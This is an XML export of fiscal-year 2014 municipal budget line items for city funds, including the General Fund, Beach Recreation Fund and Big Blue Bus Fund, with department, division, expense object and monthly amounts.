<row _id="7001"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7002"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7003"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-2748.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2748.0</total></row>
<row _id="7004"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407220.0</object><object_description>NEIGHBOR NOTIFICATION FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7005"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2614.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2614.0</total></row>
<row _id="7006"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3096.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3096.0</total></row>
<row _id="7007"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>544870.0</object><object_description>PARKING CITATION COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7008"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-OPEN SP</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7009"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
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<row _id="7034"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="7035"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="7036"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="7037"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>800.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>800.0</total></row>
<row _id="7038"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>653172.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>653172.0</total></row>
<row _id="7039"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12090.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12090.0</total></row>
<row _id="7040"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3001.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3001.0</total></row>
<row _id="7041"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4856.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4856.0</total></row>
<row _id="7042"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13000.0</total></row>
<row _id="7043"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>269.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>269.0</total></row>
<row _id="7044"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>132.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>132.0</total></row>
<row _id="7045"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1006.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1006.0</total></row>
<row _id="7046"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10165.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10165.0</total></row>
<row _id="7047"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-63345.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-63345.0</total></row>
<row _id="7048"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-262192.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-262192.0</total></row>
<row _id="7049"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7050"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-4033.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4033.0</total></row>
<row _id="7051"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-50448.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-50448.0</total></row>
<row _id="7052"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-104660.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-104660.0</total></row>
<row _id="7053"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-6361.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6361.0</total></row>
<row _id="7054"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-5620.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5620.0</total></row>
<row _id="7055"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-18195.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-18195.0</total></row>
<row _id="7056"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-2022.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2022.0</total></row>
<row _id="7057"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-3825.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3825.0</total></row>
<row _id="7058"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-15995.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-15995.0</total></row>
<row _id="7059"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-18389.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-18389.0</total></row>
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<row _id="7112"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2930.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2930.0</total></row>
<row _id="7113"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>37000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37000.0</total></row>
<row _id="7114"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-8819.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8819.0</total></row>
<row _id="7115"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-4239.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4239.0</total></row>
<row _id="7116"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-14066.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-14066.0</total></row>
<row _id="7117"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-27950.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-27950.0</total></row>
<row _id="7118"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-5044.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5044.0</total></row>
<row _id="7119"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-13139.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-13139.0</total></row>
<row _id="7120"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-3049.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3049.0</total></row>
<row _id="7121"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-7488.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7488.0</total></row>
<row _id="7122"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-3207.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3207.0</total></row>
<row _id="7123"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-5521.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5521.0</total></row>
